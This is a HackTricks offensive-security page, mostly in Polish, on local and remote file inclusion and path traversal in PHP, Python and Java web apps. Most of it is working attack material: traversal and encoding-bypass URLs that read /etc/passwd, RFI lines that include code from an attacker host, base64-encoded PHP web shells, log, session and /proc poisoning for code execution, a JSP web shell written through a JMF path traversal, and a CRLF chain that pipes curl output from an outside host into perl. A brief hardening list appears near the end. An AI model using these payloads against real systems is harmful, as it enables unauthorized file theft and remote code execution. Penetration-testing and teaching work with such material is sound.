File Inclusion/Path traversal

Reading time: 27 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

File Inclusion

Remote File Inclusion (RFI): Plik jest ładowany z zewnętrznego serwera (Najlepiej: możesz napisać kod, a serwer go wykona). W php jest to domyślnie wyłączone (allow_url_include).
Local File Inclusion (LFI): Serwer ładuje lokalny plik.

Podatność występuje, gdy użytkownik w jakiś sposób kontroluje plik, który zostanie załadowany przez serwer.

Podatne funkcje PHP: require, require_once, include, include_once

Interesujące narzędzie do wykorzystania tej podatności: https://github.com/kurobeats/fimap

Blind - Interesujące - LFI2RCE pliki

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Łącząc kilka *nix LFI list i dodając więcej ścieżek, stworzyłem tę:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Spróbuj także zamienić / na \
Spróbuj także dodać ../../../../../

Lista, która używa kilku technik do znalezienia pliku /etc/password (aby sprawdzić, czy podatność istnieje) znajduje się here

Windows

Połączenie różnych wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Spróbuj także zamienić / na \
Spróbuj także usunąć C:/ i dodać ../../../../../

Lista, która używa kilku technik do znalezienia pliku /boot.ini (aby sprawdzić, czy podatność istnieje) znajduje się here

OS X

Sprawdź listę LFI dla Linux.

Podstawowe LFI i obejścia

Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences usuwane nierekurencyjnie

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass dopisywania dodatkowych znaków na końcu podanego ciągu (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

To zostało rozwiązane od PHP 5.4

Kodowanie

Możesz użyć niestandardowych enkodowań, takich jak double URL encode (i inne):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Z istniejącego katalogu

Może back-end sprawdza ścieżkę katalogu:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Badanie katalogów systemu plików na serwerze

System plików serwera można przeszukiwać rekurencyjnie, aby zidentyfikować katalogi, nie tylko pliki, stosując określone techniki. Proces ten polega na ustaleniu głębokości katalogu i sprawdzaniu istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć:

  1. Determine Directory Depth: Ustal głębokość bieżącego katalogu, skutecznie pobierając plik /etc/passwd (dotyczy serwerów opartych na Linux). Przykładowy URL może być zbudowany następująco, wskazując głębokość równą trzy:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Skanuj foldery: Dodaj nazwę podejrzanego folderu (np. private) do URL, a następnie wróć do /etc/passwd. Dodatkowy poziom katalogu wymaga zwiększenia depth o jeden:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Zinterpretuj wyniki: Odpowiedź serwera wskazuje, czy katalog istnieje:
  • Błąd / Brak wyjścia: Katalog private prawdopodobnie nie istnieje w podanej lokalizacji.
  • Zawartość /etc/passwd: Obecność katalogu private zostaje potwierdzona.
  1. Rekurencyjne badanie: Odkryte katalogi można dalej sprawdzać pod kątem podkatalogów lub plików używając tej samej techniki lub tradycyjnych Local File Inclusion (LFI).

Aby przeszukać katalogi w innych miejscach systemu plików, dostosuj payload odpowiednio. Na przykład, żeby sprawdzić czy /var/www/ zawiera katalog private (zakładając, że bieżący katalog jest na głębokości 3), użyj:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation jest metodą stosowaną do manipulowania ścieżkami plików w aplikacjach webowych. Często używana do uzyskania dostępu do plików objętych ograniczeniami przez obejście pewnych zabezpieczeń, które dopisują dodatkowe znaki na końcu ścieżek plików. Celem jest stworzenie ścieżki pliku, która po zmodyfikowaniu przez mechanizm bezpieczeństwa nadal wskazuje na żądany plik.

W PHP różne reprezentacje ścieżki pliku mogą być traktowane jako równoważne ze względu na sposób działania systemu plików. Na przykład:

  • /etc/passwd, /etc//passwd, /etc/./passwd, oraz /etc/passwd/ są traktowane jako ta sama ścieżka.
  • Gdy ostatnie 6 znaków to passwd, dopisanie / (tworząc passwd/) nie zmienia docelowego pliku.
  • Podobnie, jeśli do ścieżki pliku dopisane jest .php (np. shellcode.php), dodanie /. na końcu nie zmieni pliku, do którego uzyskujemy dostęp.

Poniższe przykłady pokazują, jak wykorzystać path truncation do uzyskania dostępu do /etc/passwd, częstego celu ze względu na jego wrażliwe dane (informacje o kontach użytkowników):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

W tych scenariuszach liczba potrzebnych sekwencji ../ może wynosić około 2027, ale liczba ta może się różnić w zależności od konfiguracji serwera.

  • Using Dot Segments and Additional Characters: Sekwencje ../ połączone z dodatkowymi segmentami kropkowymi i znakami mogą być użyte do nawigacji po systemie plików, skutecznie ignorując dołączone przez serwer ciągi.
  • Determining the Required Number of Traversals: Metodą prób i błędów można ustalić dokładną liczbę sekwencji ../ potrzebną do dotarcia do katalogu root, a następnie do /etc/passwd, upewniając się, że wszelkie dołączone ciągi (np. .php) zostaną zneutralizowane, a pożądana ścieżka (/etc/passwd) pozostanie nienaruszona.
  • Starting with a Fake Directory: Częstą praktyką jest rozpoczynanie ścieżki od nieistniejącego katalogu (np. a/). Technika ta jest stosowana jako środek ostrożności lub by spełnić wymagania logiki parsowania ścieżek serwera.

When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

W PHP jest to domyślnie wyłączone, ponieważ allow_url_include jest Off. Musi być On, żeby to działało, i w takim przypadku możesz dołączyć plik PHP z twojego serwera i uzyskać RCE:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Jeśli z jakiegoś powodu allow_url_include jest On, ale PHP filtruje dostęp do zewnętrznych stron, zgodnie z tym postem, możesz użyć np. protokołu data z base64, aby zdekodować b64 kod PHP i egt RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

tip

W poprzednim kodzie końcowe +.txt zostało dodane, ponieważ atakujący potrzebował ciągu kończącego się na .txt, więc ciąg kończy się tym, a po b64 decode ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a zatem wykonany).

Inny przykład nie używający protokołu php:// wyglądałby tak:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Root element

W Pythonie w kodzie takim jak ten:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Jeśli użytkownik poda ścieżkę bezwzględną do file_name, poprzednia ścieżka jest po prostu usuwana:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

To zamierzone zachowanie zgodnie z the docs:

Jeżeli komponent jest ścieżką absolutną, wszystkie poprzednie komponenty są odrzucane i łączenie kontynuuje się od komponentu będącego ścieżką absolutną.

Listowanie katalogów w Java

Wygląda na to, że jeśli masz Path Traversal w Java i poprosisz o katalog zamiast pliku, to zostanie zwrócone listowanie katalogu. To nie będzie się dziać w innych językach (o ile wiem).

Top 25 parametrów

Oto lista 25 parametrów, które mogą być podatne na local file inclusion (LFI) (pochodzące z link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP filters pozwalają wykonać podstawowe operacje modyfikacji na danych przed ich odczytem lub zapisem. Istnieje 5 kategorii filtrów:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Remove tags from the data (everything between "<" and ">" chars)
  • Zauważ, że ten filtr zniknął w nowoczesnych wersjach PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>) . Aby uzyskać listę wszystkich obsługiwanych kodowań uruchom w konsoli: iconv -l

warning

Nadużywając filtra konwersji convert.iconv.* możesz wygenerować dowolny tekst, co może być przydatne do zapisania dowolnego tekstu lub sprawienia, by funkcja taka jak include przetwarzała dowolny tekst. Dla więcej informacji sprawdź LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Compress the content (useful if exfiltrating a lot of info)
  • zlib.inflate: Decompress the data
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • Inne filtry
  • Uruchamiając w PHP var_dump(stream_get_filters()); możesz znaleźć kilka nieoczekiwanych filtrów:
  • consumed
  • dechunk: reverses HTTP chunked encoding
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

Część "php://filter" jest nieczuła na wielkość liter

Using php filters as oracle to read arbitrary files

In this post zaproponowano technikę umożliwiającą odczyt lokalnego pliku bez zwracania jego zawartości przez serwer. Technika ta opiera się na boolean exfiltration of the file (char by char) using php filters as oracle. Wynika to z faktu, że php filters mogą być użyte do powiększenia tekstu na tyle, by php zgłosił wyjątek.

W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, poniżej krótka podsumowanie:

  • Use the codec UCS-4LE to leave leading character of the text at the begging and make the size of string increases exponentially.
  • This will be used to generate a text so big when the initial letter is guessed correctly that php will trigger an błąd
  • The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
  • To, w połączeniu z poprzednim (i innymi filtrami zależnymi od zgadywanej litery), pozwoli nam odgadnąć literę na początku tekstu, obserwując moment, w którym wykonamy wystarczająco wiele transformacji, aby przestała być znakiem szesnastkowym. Jeśli jest hex, dechunk go nie usunie, a początkowa bomba spowoduje błąd php.
  • The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an a for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
  • Używając innych transformacji jak rot13 na początku, możliwe jest leak innych znaków takich jak n, o, p, q, r (i inne kodeki mogą być użyte do przesunięcia innych liter do zakresu hex).
  • Kiedy początkowy znak jest cyfrą, trzeba go zakodować base64 i leak pierwsze 2 litery, aby leakować tę cyfrę.
  • The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
  • A żeby móc uzyskać further data pomysł polega na wygenerowaniu 2 bajtów śmieci na początku za pomocą convert.iconv.UTF16.UTF16, zastosowaniu UCS-4LE aby je pivot with the next 2 bytes, oraz usuń dane aż do junk data (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj, aż dojdziesz do żądanego bitu do leak.

W poście udostępniono także narzędzie do automatyzacji tego: php_filters_chain_oracle_exploit.

php://fd

Ten wrapper pozwala uzyskać dostęp do file descriptors, które proces ma otwarte. Potencjalnie przydatny do exfiltrate zawartości otwartych plików:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Możesz także użyć php://stdin, php://stdout and php://stderr aby uzyskać dostęp do deskryptorów plików 0, 1 i 2 odpowiednio (nie jestem pewien, jak mogłoby to być użyteczne w attack)

zip:// and rar://

Wgraj plik Zip lub Rar z PHPShell wewnątrz i uzyskaj do niego dostęp.
Aby móc nadużywać protokołu rar, musi on być specjalnie aktywowany.

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Należy pamiętać, że ten protokół jest ograniczony przez ustawienia PHP allow_url_open i allow_url_include

expect://

Expect musi być aktywowany. Możesz za jego pomocą wykonać kod:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Określ swój payload w parametrach POST:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Plik .phar może być wykorzystany do wykonania kodu PHP, gdy aplikacja webowa używa funkcji takich jak include do ładowania plików. Poniższy fragment kodu PHP pokazuje tworzenie pliku .phar:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Aby skompilować plik .phar, należy wykonać następujące polecenie:

bash
php --define phar.readonly=0 create_path.php

Po uruchomieniu zostanie utworzony plik o nazwie test.phar, który potencjalnie można wykorzystać do eksploatacji podatności Local File Inclusion (LFI).

W przypadkach, gdy LFI jedynie odczytuje plik bez wykonywania zawartego w nim kodu PHP — np. przy użyciu funkcji takich jak file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() lub filesize() — można próbować wykorzystać deserialization vulnerability. Ta podatność jest związana z odczytem plików przy użyciu protokołu phar.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Dało się wykorzystać any arbitrary file read from PHP that supports php filters do uzyskania RCE. Szczegółowy opis można found in this post.
Bardzo krótkie podsumowanie: wykorzystano 3 byte overflow w heap PHP, aby alter the chain of free chunks o określonym rozmiarze, co pozwoliło write anything in any address, więc dodano hook wywołujący system.
Możliwe było zaalokowanie chunków o specyficznych rozmiarach przez nadużycie kolejnych php filters.

More protocols

Sprawdź więcej możliwych protocols to include here:

  • php://memory and php://temp — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak to może być użyteczne w file inclusion attack)
  • file:// — Dostęp do lokalnego systemu plików
  • http:// — Dostęp do adresów URL HTTP(s)
  • ftp:// — Dostęp do adresów URL FTP(s)
  • zlib:// — Strumienie kompresji
  • glob:// — Wyszukiwanie nazw ścieżek pasujących do wzorca (Nie zwraca nic czytelnego, więc niezbyt przydatne tutaj)
  • ssh2:// — Secure Shell 2
  • ogg:// — Strumienie audio (Nieprzydatne do odczytu dowolnych plików)

LFI via PHP's 'assert'

Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie przy użyciu funkcji 'assert', która może wykonywać kod zawarty w stringach. Jest to szczególnie problematyczne, jeśli wejście zawierające znaki directory traversal, takie jak "..", jest sprawdzane, ale nieodpowiednio oczyszczone.

For example, PHP code might be designed to prevent directory traversal like so:

bash
assert("strpos('$file', '..') === false") or die("");

Chociaż ma to na celu zablokowanie traversal, mimowolnie tworzy wektor do code injection. Aby to wykorzystać do odczytu zawartości pliku, atakujący mógłby użyć:

plaintext
' and die(highlight_file('/etc/passwd')) or '

Podobnie, do wykonywania dowolnych poleceń systemowych można użyć:

plaintext
' and die(system("id")) or '

Ważne jest, aby URL-encode these payloads.

PHP Blind Path Traversal

warning

Ta technika ma zastosowanie w przypadkach, gdy kontrolujesz ścieżkę pliku funkcji PHP, która będzie uzyskiwać dostęp do pliku, ale nie zobaczysz zawartości pliku (jak proste wywołanie file()), ponieważ zawartość nie jest wyświetlana.

In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

W skrócie, technika używa kodowania "UCS-4LE" aby sprawić, że zawartość pliku będzie tak duża, że funkcja PHP otwierająca plik wywoła błąd.

Następnie, in order to leak the first char the filter dechunk is used along with other such as base64 or rot13 and finally the filters convert.iconv.UCS-4.UCS-4LE and convert.iconv.UTF16.UTF-16BE are used to place other chars at the beggining and leak them.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Dowolny zapis pliku przez Path Traversal (Webshell RCE)

Gdy kod po stronie serwera, który przyjmuje/uploaduje pliki, buduje ścieżkę docelową używając danych kontrolowanych przez użytkownika (np. nazwy pliku lub URL) bez kanonizacji i walidacji, segmenty .. i ścieżki absolutne mogą wydostać się poza zamierzony katalog i spowodować arbitrary file write. Jeśli możesz umieścić payload w katalogu wystawionym w sieci, zazwyczaj uzyskujesz nieautoryzowane RCE poprzez upuszczenie webshell.

Typowy przebieg eksploatacji:

  • Zidentyfikuj write primitive w endpointzie lub background workerze, który przyjmuje path/filename i zapisuje zawartość na dysku (np. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.).
  • Określ katalogi wystawione w sieci. Typowe przykłady:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Sporządź traversal path, który wydostanie się z zamierzonego katalogu przechowywania do webroot i dołącz zawartość webshell.
  • Przejdź do upuszczonego payloadu i wykonaj polecenia.

Uwagi:

  • Usługa podatna, która wykonuje zapis, może nasłuchiwać na porcie nie‑HTTP (np. a JMF XML listener na TCP 4004). Główny portal web (inny port) później będzie serwował twój payload.
  • Na stosach Java zapisy tych plików często są implementowane prostą konkatenacją File/Paths. Brak kanonizacji/allow-listing jest główną wadą.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Hardening that defeats this class of bugs:

  • Rozwiąż do ścieżki kanonicznej i wymuszaj, żeby była potomkiem katalogu bazowego znajdującego się na liście dozwolonych.
  • Odrzucaj każdą ścieżkę zawierającą .., ścieżki absolutne lub litery dysków; preferuj generowane nazwy plików.
  • Uruchamiaj writer jako konto o niskich uprawnieniach i oddziel katalogi zapisu od serwowanych rootów.

Remote File Inclusion

Wyjaśniono wcześniej, follow this link.

Przez plik logu Apache/Nginx

Jeśli serwer Apache lub Nginx jest podatny na LFI w funkcji include, możesz spróbować uzyskać dostęp do /var/log/apache2/access.log or /var/log/nginx/access.log, umieścić w user agent lub w GET parameter php shell taki jak <?php system($_GET['c']); ?> i dołączyć (include) ten plik

warning

Zwróć uwagę, że jeśli użyjesz podwójnych cudzysłowów dla shell zamiast pojedynczych, podwójne cudzysłowy zostaną zmienione na ciąg "quote;", PHP zgłosi błąd i nic więcej nie zostanie wykonane.

Upewnij się również, że prawidłowo zapiszesz payload, bo w przeciwnym razie PHP będzie rzucać błąd za każdym razem, gdy będzie próbowało załadować plik logu i nie będziesz mieć drugiej szansy.

To można też zrobić w innych logach, ale uważaj, kod w logach może być URL-encoded i to może zniszczyć Shell. Nagłówek authorisation "basic" zawiera "user:password" w Base64 i jest dekodowany w logach. PHPShell można wstawić do tego nagłówka.
Other possible log paths:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Przez e-mail

Wyślij e-mail na konto wewnętrzne (user@localhost) zawierający Twój PHP payload jak <?php echo system($_REQUEST["cmd"]); ?> i spróbuj dołączyć do maila użytkownika ścieżką taką jak /var/mail/<USERNAME> lub /var/spool/mail/<USERNAME>

Przez /proc//fd/

  1. Wgraj dużo shells (na przykład: 100)
  2. Dołącz http://example.com/index.php?page=/proc/$PID/fd/$FD, przy czym $PID = PID procesu (can be brute forced) a $FD to deskryptor pliku (can be brute forced too)

Przez /proc/self/environ

Podobnie jak w przypadku pliku logu — wyślij payload w polu User-Agent; zostanie on odzwierciedlony w pliku /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Przez upload

Jeśli możesz uploadować plik, po prostu wstrzyknij w niego shell payload (np : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

Aby zachować czytelność pliku, najlepiej wstrzyknąć to do metadanych obrazków/dokumentów/pdf

Przez przesłanie pliku ZIP

Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj dostęp do:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Za pomocą PHP sessions

Sprawdź, czy strona używa PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

W PHP te sesje są przechowywane w /var/lib/php5/sess\[PHPSESSID]_ plikach

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Ustaw cookie na <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Użyj LFI, aby dołączyć plik sesji PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Przez ssh

Jeśli ssh jest aktywny, sprawdź, który użytkownik jest używany (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do <HOME>/.ssh/id_rsa

Przez vsftpd logi

Logi serwera FTP vsftpd znajdują się w /var/log/vsftpd.log. W scenariuszu, gdzie istnieje podatność Local File Inclusion (LFI) i dostęp do wystawionego serwera vsftpd jest możliwy, można rozważyć następujące kroki:

  1. Wstrzyknij payload PHP do pola username podczas procesu logowania.
  2. Po wstrzyknięciu użyj LFI, aby pobrać logi serwera z /var/log/vsftpd.log.

Przez filtr php base64 (używając base64)

As shown in this article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Przez php filters (nie jest potrzebny plik)

Ten opis wyjaśnia, że możesz użyć php filters, aby wygenerować dowolną zawartość jako wynik. Co w zasadzie oznacza, że możesz wygenerować dowolny php code dla include bez konieczności zapisywania go do pliku.

LFI2RCE via PHP Filters

Przez segmentation fault

Prześlij plik, który zostanie zapisany jako plik tymczasowy w /tmp, następnie w tym samym żądaniu wywołaj segmentation fault — w rezultacie plik tymczasowy nie zostanie usunięty i będziesz mógł go odnaleźć.

LFI2RCE via Segmentation Fault

Przez Nginx przechowywanie plików tymczasowych

Jeśli znalazłeś Local File Inclusion i Nginx działa przed PHP, możesz być w stanie uzyskać RCE przy użyciu następującej techniki:

LFI2RCE via Nginx temp files

Przez PHP_SESSION_UPLOAD_PROGRESS

Jeśli znalazłeś Local File Inclusion nawet jeśli nie masz sesji, a session.auto_start jest Off. Jeśli dostarczysz PHP_SESSION_UPLOAD_PROGRESS w danych multipart POST, PHP włączy sesję za Ciebie. Możesz to nadużyć, aby uzyskać RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Przez wysyłanie plików tymczasowych w Windows

Jeśli znalazłeś Local File Inclusion i serwer działa na Windows, możesz uzyskać RCE:

LFI2RCE Via temp file uploads

Przez pearcmd.php + URL args

Jak wyjaśniono w tym poście, skrypt /usr/local/lib/phppearcmd.php istnieje domyślnie w php docker images. Co więcej, możliwe jest przekazywanie argumentów do skryptu przez URL, ponieważ wskazano, że jeśli parametr URL nie zawiera =, powinien być użyty jako argument. Zobacz także watchTowr’s write-up i Orange Tsai’s “Confusion Attacks”.

Następujące żądanie tworzy plik w /tmp/hello.php z zawartością <?=phpinfo()?>:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Poniższe wykorzystuje CRLF vuln, aby uzyskać RCE (z here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Przez phpinfo() (file_uploads = on)

Jeśli znalazłeś Local File Inclusion i plik ujawniający phpinfo() z file_uploads = on, możesz uzyskać RCE:

LFI2RCE via phpinfo()

Przez compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Jeśli znalazłeś Local File Inclusion i can exfiltrate the path pliku tymczasowego, ALE server is checking czy file to be included has PHP marks, możesz spróbować bypass that check za pomocą tej Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Przez eternal waiting + bruteforce

Jeśli możesz nadużyć LFI, aby upload temporary files i sprawić, że server będzie hang wykonanie PHP, możesz wtedy brute force filenames during hours, aby odnaleźć plik tymczasowy:

LFI2RCE via Eternal waiting

Do Fatal Error

Jeśli dołączysz którykolwiek z plików /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd).

Nie wiem, jak to może być przydatne, ale może.
Nawet jeśli spowodujesz PHP Fatal Error, pliki tymczasowe PHP są usuwane.

References

tip

